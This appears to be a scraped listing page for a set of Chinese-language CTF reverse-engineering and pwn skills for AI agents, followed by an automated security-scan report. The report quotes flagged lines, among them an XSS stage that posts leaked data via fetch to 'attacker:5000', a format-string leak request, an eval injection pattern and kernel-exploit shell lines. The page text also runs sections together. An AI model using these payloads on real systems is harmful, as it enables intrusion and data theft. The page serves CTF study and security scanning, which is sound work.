前置:re-triage(检出壳才来这里)/后继:回到 re-triage(脱壳产物当新样本重新分诊)/内容分析 → ghidra-static/命令细节 → ghidra-core
> **断路器纪律**:packed/加密字节在信息论上是噪声——禁止对其做内容级肉眼/脚本分析;同一区域第二次回访会被 ghidra-core `scripts/ledger.py observe` 拦截(强制 `--delta`,答不出必须升级工具或问人,见 ghidra-core 铁律 7)。
## 路径约定
```bash
# Windows:
UPX="$HOME/Desktop/src/tools/upx/upx.exe" # Tier A 原生 UPX
UNP="$HOME/Desktop/src/unpacker-venv/Scripts" # Unpacker venv(Python 3.12, editable)
# WSL/Linux:
# UPX="$(command -v upx)" # apt upx-uclView the complete source on GitHubtraffic-analysis
When your agent uses it
CTF 流量分析与网络取证(pcap / network forensics):pcap 分诊、DNS/ICMP/TCP 隐信道与隧道重组(covert channel / tunneling)、USB HID 键鼠抓包还原、WPA/TLS 解密、文件与凭据提取。触发:流量/pcap/抓包/Wireshark/tshark/网络取证/流量包/隐蔽信道/隧道。不做二进制逆向——那是 ghidra-static 系;提取出的文件需逆向时回 re-triage。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
253 tokensAlways available to the agent
SKILL.md
3,070 tokensWhen the skill is activated
Reference documents
5,710 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 流程
- 脚本速查
- References
Scripts executed separately
scripts/conflict_oracle.pyscripts/decode_engine.pyscripts/dnscat2_reassemble.pyscripts/hid_keyboard.pyscripts/mouse_render.pyscripts/pcap_triage.pyscripts/timing_decode.py
Files
SKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesSKILL.mdcore9,357 bytesreferences/pcap-triage.mddoc4,225 bytesreferences/tunnels.mddoc5,973 bytesreferences/usb-hid.mddoc3,123 bytesreferences/wifi-tls.mddoc3,420 bytesscripts/conflict_oracle.pyruns21,173 bytesscripts/decode_engine.pyruns12,822 bytesscripts/dnscat2_reassemble.pyruns4,300 bytesscripts/hid_keyboard.pyruns4,707 bytesscripts/mouse_render.pyruns4,830 bytesscripts/pcap_triage.pyruns15,207 bytesscripts/timing_decode.pyruns6,877 bytes
Read SKILL.md
# Traffic Analysis(场景 6:流量里找信号)
前置:拿到 pcap/pcapng(题目附件,或别的主线提取出的文件)/后继:提取出的二进制 → `~/.dsh/skills/re-triage` 重新分诊;文本/flag 类结论直接交付
> **内容看不懂时,信号在元数据里**:包长、TTL、IPID、时延、TCP flags 的 per-packet 分布画直方图,值落在可打印 ASCII 区间的分布就是信号(TokyoWesterns 2018 方法论,细节 references/tunnels.md §通用检测)。同一路径失败 2 次换工具,单方向 ≤15 分钟(铁律 6,全文见 ghidra-core §1)。
## 路径约定
```bash
TA="$HOME/.dsh/skills/traffic-analysis/scripts" # 本 skill 脚本(全零依赖,Python 3 stdlib)
# Windows:
TS="$HOME/Desktop/src/tools/wireshark/tshark.exe" # tshark 4.6.8(7z 免安装解包;未加 PATH,用全路径)
EC="$HOME/Desktop/src/tools/wireshark/editcap.exe" # editcap(pcapng→pcap 转换)
# WSL/Linux(apt 安装,PATH 直达):View the complete source on GitHubvuln-audit
When your agent uses it
按清单系统性排查二进制漏洞模式(vulnerability audit / pwn 预筛):内存破坏、格式化字符串、整数溢出、命令注入、危险 API 组合。触发:漏洞审计、找漏洞、pwn 攻击面梳理、fuzz 前目标筛选、SRC 静态预筛。是 checklist 知识层——具体命令见 ghidra-core。动手前必须先用 skill 工具加载本 skill 全文并遵守其流程;一切观察/结论用 ledger.py 落账。
What it loads into context
Frontmatter
198 tokensAlways available to the agent
SKILL.md
1,047 tokensWhen the skill is activated
Reference documents
4,732 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 路径约定
- 审计流程
- 覆盖的检查项(细则在 references/vuln-patterns.md)
- 与其他 skill 的分水岭
- References
Files
SKILL.mdcore3,332 bytesSKILL.mdcore3,332 bytesSKILL.mdcore3,332 bytesSKILL.mdcore3,332 bytesreferences/patch-diff.mddoc7,787 bytesreferences/vuln-patterns.mddoc7,339 bytes
Read SKILL.md
# Vuln Audit(场景 3:它有没有病?)
前置:未知样本先分诊 → `~/.dsh/skills/re-triage`/后继:命中漏洞模式后的利用构造(pwn 方法论,超出本 skill)/执行细节(命令参数)→ `~/.dsh/skills/ghidra-core`
本 skill 是 **checklist 知识层**:方法论和判定标准在这里,命令只有用法示意,参数细节一律见 ghidra-core §5。
## 路径约定
```bash
SK="$HOME/.dsh/skills/ghidra-core/scripts" # 唯一代码家
# Windows:
RPC="$HOME/Desktop/src/ghidra-bridge/ghidra-rpc-venv/Scripts" # ghidra-rpc CLI
# WSL/Linux: RPC="$HOME/ghidra-rpc-venv/bin"
```View the complete source on GitHubSkills included
- android-re
- ghidra-core
- ghidra-static
- pwn-exploit
- re-dynamic
- re-triage
- re-unpack
- traffic-analysis
- vuln-audit
Repository facts
- License
- MIT
- Created
- Sep 13, 2026
- Last pushed
- Oct 11, 2026
- Forks
- 1
- Open issues
- 0
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 86 notes
android-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedandroid-re/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:64Analysis incomplete: physical or joined line exceeds character limitghidra-core/SKILL.md:72Analysis incomplete: physical or joined line exceeds character limitghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedghidra-core/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 18 dangerous shell commandsin 11 files: pwn-exploit/references/sandbox-escape.md:222 ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/xrefs.py:60 pwn-exploit/references/advanced-exploits-3.md:408 and 8 more
- 80 network referencesin 32 files: pwn-exploit/references/advanced-exploits-2.md:1 pwn-exploit/references/format-string.md:1 ghidra-core/engine/ghidra-rpc/ghidra_rpc/transport.py:54 and 29 more
- 24 obfuscation signalsin 16 files: traffic-analysis/scripts/pcap_triage.py:24 traffic-analysis/scripts/timing_decode.py:29 pwn-exploit/references/kernel.md:417 and 13 more
- No instruction overrides
- 106 executable scriptsin 106 files: android-re/scripts/_android_tools.py:1 android-re/scripts/apk_oracle.py:1 android-re/scripts/apk_triage.py:1 and 103 more
- 51 references to secretsin 17 files: ghidra-core/scripts/driver.py:56 ghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:54 android-re/scripts/_android_tools.py:33 and 14 more
- No requests to vote in Hot
Show all 279 signals by file
android-re/scripts/_android_tools.py
- Executable scriptline 1
#!/usr/bin/env python - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted]
android-re/scripts/apk_oracle.py
android-re/scripts/apk_triage.py
android-re/scripts/axml_decompile.py
- Executable scriptline 1
#!/usr/bin/env python
android-re/scripts/dex_disasm.py
android-re/scripts/dex_triage.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/engine/VENDOR.md
- Network accessline 3
- **Upstream**: https://github.com/cellebrite-labs/ghidra-rpc (Cellebrite Labs)
ghidra-core/engine/ghidra-rpc/README.md
- Network accessline 3
An agentic skill that gives an LLM access to [Ghidra](https://ghidra-sre.org/) so - Network accessline 13
Developed at **[Cellebrite Labs](https://github.com/cellebrite-labs)**. - Network accessline 73
The daemon runs Ghidra in-process via [PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra). - Network accessline 74
[PyGhidra](https://github.com/NationalSecurityAgency/ghidra/tree/master/Ghidra/Features/PyGhidra).
ghidra-core/engine/ghidra-rpc/docs/install.md
- Network accessline 5
1. **Ghidra** (11.0+): Download from [ghidra-sre.org](https://ghidra-sre.org/), unzip somewhere. - Network accessline 6
2. **Python 3.11+**: Check with `python3 --version`. 3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`. 4. **Java 17+**: Required by Ghidra. Check with `java --version`. - Dangerous shell operationline 7
3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`. - Network accessline 7
3. **uv**: Install with `curl -LsSf https://astral.sh/uv/install.sh | sh`.
ghidra-core/engine/ghidra-rpc/docs/internals.md
- Network accessline 181
The original design was based on [pyghidra-mcp](https://github.com/clearbluejar/pyghidra-mcp).
ghidra-core/engine/ghidra-rpc/docs/troubleshooting.md
- Dangerous shell operationline 33
rm /tmp/ghidra-rpc-XXXXXXXX.sock
ghidra-core/engine/ghidra-rpc/ghidra_rpc/__init__.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py
- Executable scriptline 1
Executable file - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 221
[Credential-related source omitted] - Access to secretsline 278
[Credential-related source omitted] - Access to secretsline 279
[Credential-related source omitted]
ghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/daemon.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/__init__.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/_gui_launcher.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py
- Executable scriptline 1
Executable file - Network accessline 213
transaction then rolls back the whole intertwined group on the next flush (confirmed as intended Ghidra behavior, not a bug; see https://github.com/NationalSecurityAgency/ghidra/issues/9347). - Network accessline 214
flush (confirmed as intended Ghidra behavior, not a bug; see https://github.com/NationalSecurityAgency/ghidra/issues/9347). Becoming our own consumer and releasing the project's makes our - Network accessline 215
https://github.com/NationalSecurityAgency/ghidra/issues/9347).
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/main.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted]
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/__init__.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/analysis.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/bookmarks.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/cfg.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/cpp.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/data_types.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/decompiler.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/disassembly.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/dsh_tools.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/memory.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/modifications.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/navigation.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/processor_context.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/search.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/tags.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/version_tracking.py
- Executable scriptline 1
Executable file
ghidra-core/engine/ghidra-rpc/ghidra_rpc/server/tools/xrefs.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/session.py
ghidra-core/engine/ghidra-rpc/ghidra_rpc/transport.py
- Executable scriptline 1
Executable file - Access to secretsline 23
[Credential-related source omitted] - Network accessline 54
if not _IS_WINDOWS: server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 55
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 60
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 94
if not _IS_WINDOWS: client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 95
client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - Network accessline 114
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ghidra-core/scripts/add_comment.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/analysis_config.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/analyze_binary.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/apply_c_types.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/apply_data_type.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/call_histogram.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/cone_invert.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/const_audit.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/const_scan.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/crypto_sanity.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/decomp_lint.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/decompile_all.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/decompile_function.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/doctor.py
ghidra-core/scripts/driver.py
- Executable scriptline 1
Executable file - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted] - Access to secretsline 61
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 88
[Credential-related source omitted] - Access to secretsline 283
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted] - Access to secretsline 511
[Credential-related source omitted] - Access to secretsline 512
[Credential-related source omitted]
ghidra-core/scripts/emulate_blob.py
- Executable scriptline 1
#!/usr/bin/env python - Network accessline 196
state["entry_unmapped"] = True elif in_mapped(uc_.reg_read(reg_pc)): state["stop"] = "invalid-fetch (0x%x 未映射)" % address - Network accessline 197
elif in_mapped(uc_.reg_read(reg_pc)): state["stop"] = "invalid-fetch (0x%x 未映射)" % address else: - Network accessline 198
state["stop"] = "invalid-fetch (0x%x 未映射)" % address
ghidra-core/scripts/emulate_function.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/emulate_program.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/exec_code.py
ghidra-core/scripts/export_binary.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/frame_map.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/get_basic_blocks.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_call_graph.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_data_at_address.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_disassembly.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_memory_map.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_symbols.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/get_xrefs.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/guarded_run.py
- Executable scriptline 1
#!/usr/bin/env python3
ghidra-core/scripts/jt_resolve.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/launch_gui.py
ghidra-core/scripts/layer_dump.py
- Executable scriptline 1
#!/usr/bin/env python3
ghidra-core/scripts/ledger.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/list_classes.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/list_functions.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/model_diff.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/oracle_family.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/patch_bytes.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/pe_info.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/peel_inverse.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/read_views.py
- Executable scriptline 1
#!/usr/bin/env python - Network accessline 48
def fetch(binary: str, addr: str, length: int) -> bytes: - Network accessline 113
else int(addr_text, 16) length = int(args[2], 0) data = fetch(binary, addr_text, length) - Network accessline 114
length = int(args[2], 0) data = fetch(binary, addr_text, length) actual_hex = data.hex() - Network accessline 115
data = fetch(binary, addr_text, length)
ghidra-core/scripts/rename_symbol.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/rpc_driver.py
ghidra-core/scripts/search_bytes.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/search_strings.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/set_analysis_options.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/set_function_signature.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/ssa_reconstruct.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/ssa_trace.py
- Executable scriptline 1
#!/usr/bin/env python
ghidra-core/scripts/triage_scan.py
- Executable scriptline 1
Executable file
ghidra-core/scripts/unreferenced_data.py
ghidra-core/scripts/unreferenced_funcs.py
ghidra-core/scripts/venv_health.py
- Executable scriptline 1
#!/usr/bin/env python3
ghidra-core/scripts/xor_scan.py
ghidra-static/references/classic-crypto.md
- Possible obfuscationline 18
dec = base64.b64decode(ct.translate(str.maketrans(TABLE, STD)))
pwn-exploit/SKILL.md
- Network accessline 1
--- name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 - Network accessline 2
name: pwn-exploit description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc - Network accessline 3
description: CTF 二进制利用(pwn):栈溢出/ROP/ret2libc/SROP/格式化字符串/堆利用(tcache/House of X)/FSOP/seccomp 沙箱 ORW/内核 pwn 入门/游戏与文字冒险题(商店经济溢出·道具编辑堆原语)。触发:pwn/利用/exploit/getshell/拿到 shell/ROP/ret2libc/格式化串/堆题/tcache/canary 绕过/给了 libc 和 nc 地址/冒险游戏菜单题。不做:程序逻辑 - Network accessline 4
whenToUse: 漏洞已定位(或题目明显是 pwn 配置:binary+libc+nc 地址)需要写 exp 拿 flag/shell 时;checksec 决策、ROP 链构造、libc 泄露、堆风水、seccomp ORW、内核提权入门 - Network accessline 9
前置:漏洞已由 vuln-audit/ghidra-static 定位,或附件是典型 pwn 配置(binary + libc.so.6 + nc 地址)/后继:拿到远程 flag 回显 → `ledger.py conclude --program-accept` 交付;「打不通、其实是程序没读懂」→ 回 ghidra-static;「洞在哪都还没确认」→ 回 vuln-audit - Network accessline 116
知识来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills)(MIT);`basic-chain.md` 组织结构参考 zhaoxuya520/reverse-skill(MIT)。翻译层在路由表,references 正文保留英文原文。
pwn-exploit/references/advanced-exploits-2.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Network accessline 480
1. **Stored XSS via Flask `|safe`:** User messages rendered with `{{ msg.content | safe }}` bypass Jinja autoescaping. Submit `<script type="module">...</script>` via the public message endpoint 2. **Admin bot visits `/admin/messages`** fro - Network accessline 482
3. **Multi-stage payloads:** Each XSS stage calls admin API endpoints via `fetch()`, exfiltrates leaks to attacker VPS, then the next stage uses computed addresses: - Network accessline 484
// Stage 1: trigger heap commands, exfiltrate leak var res = await fetch("/api/canvas/get/1"); - Network accessline 485
var res = await fetch("/api/canvas/get/1"); - Network accessline 486
var data = await res.json(); await fetch('http://attacker:5000/', { method: 'POST', mode: 'no-cors', - Network accessline 487
await fetch('http://attacker:5000/', {
pwn-exploit/references/advanced-exploits-3.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Network accessline 282
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - Dangerous shell operationline 408
**Pattern (inheritance):** A service reads a secret into a file descriptor created with `memfd_create("secret", 0)` (without `MFD_CLOEXEC`), then calls `system()` to execute user-supplied commands. The `system()` function spawns a child pro - Dangerous shell operationline 429
**Key insight:** `memfd_create()` without `MFD_CLOEXEC` (or `open()` without `O_CLOEXEC`) leaves file descriptors inheritable across `fork()+exec()`. Any service that reads secrets into FDs and then spawns child processes is vulnerable. The
pwn-exploit/references/advanced-exploits-4.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/advanced-exploits-5.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/advanced-exploits.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Network accessline 424
def measure_time(host, port, guess): """Send guess and measure server response time""" s = socket.socket() - Network accessline 425
"""Send guess and measure server response time""" s = socket.socket() s.connect((host, port)) - Network accessline 426
s = socket.socket()
pwn-exploit/references/advanced.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/field-notes.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/format-string.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Network accessline 164
**5. Cross-reference libc database:** - https://libc.rip/ - Network accessline 165
- https://libc.rip/ - Network accessline 426
# Must leak libc AND redirect exit() in one printf call # Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr - Network accessline 427
# Layout: padding + dummy_addr + %leak$p + %Nc + %write$hn + padding + got_addr - Network accessline 672
# Leak canary at offset 6, PIE base at offset 7 r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'}) - Network accessline 673
r = requests.get('http://target/', headers={'User-Agent': '%6$p.%7$p'}) - Possible obfuscationline 689
fmtstr = b"%9x%11$n" + b"\x20\x20\x60\x00\x00\x00\x00\x00"
pwn-exploit/references/game-pwn.md
- Network accessline 3
> 判例来源:2025 强网杯 **adventure**(文字冒险游戏 ELF/C++,商店整数溢出 → 杀龙拿魔戒 → 魔戒描述指针覆写 → 任意读写 → seccomp 白名单 ORW)。 > WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。 - Network accessline 4
> WP:[cnblogs.com/trunk/p/19190796](https://www.cnblogs.com/trunk/p/19190796);失败 session 复盘:b781ff3c(38 min 零 exploit,两个半边事实未接线)。
pwn-exploit/references/heap-fsop.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/heap-techniques-2.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/heap-techniques.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/kernel-bypass.md
pwn-exploit/references/kernel-techniques.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。
pwn-exploit/references/kernel.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Dangerous shell operationline 411
echo 'chmod 777 /tmp/output' >> /tmp/evil.sh - Possible obfuscationline 417
echo -ne '\xff\xff\xff\xff' > /tmp/trigger - Possible obfuscationline 455
echo -ne '\xff\xff\xff\xff' > /tmp/nirugiri && chmod +x /tmp/nirugiri && /tmp/nirugiri
pwn-exploit/references/overflow-basics.md
pwn-exploit/references/rop-advanced.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Network accessline 711
# Keep the process alive after the shell spawns by piping stdin: # (python -c "..."; cat) | nc pwn.tamuctf.com 4325 - Network accessline 712
# (python -c "..."; cat) | nc pwn.tamuctf.com 4325
pwn-exploit/references/rop-and-shellcode.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Possible obfuscationline 76
# Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n" - Network accessline 626
**Pattern (easy-shell):** RWX page receives attacker shellcode but every byte must be alphanumeric (`[0-9A-Za-z]`). Tools like [basic-amd64-alphanumeric-shellcode-encoder](https://github.com/veritas501/basic-amd64-alphanumeric-shellcode-enc
pwn-exploit/references/sandbox-escape.md
- Network accessline 1
> 来源:[ljagiello/ctf-skills ctf-pwn](https://github.com/ljagiello/ctf-skills/tree/main/ctf-pwn)(MIT License)——知识配方库,按需 grep 定位章节再段读,勿全文载入。中文路由索引见 ../SKILL.md §3。 - Dangerous shell operationline 222
**Pattern:** Custom CPU emulator's print function uses `eval('"' + string_buffer + '"')` to process escape sequences in the output. Build a string in emulator memory character-by-character using ADD opcodes, then inject: `"+__import__("os") - Dangerous shell operationline 226
2. The PRINT opcode reads a string from emulator memory and passes it to `eval('"' + s + '"')` to handle escape sequences like `\n`, `\t` - Dangerous shell operationline 250
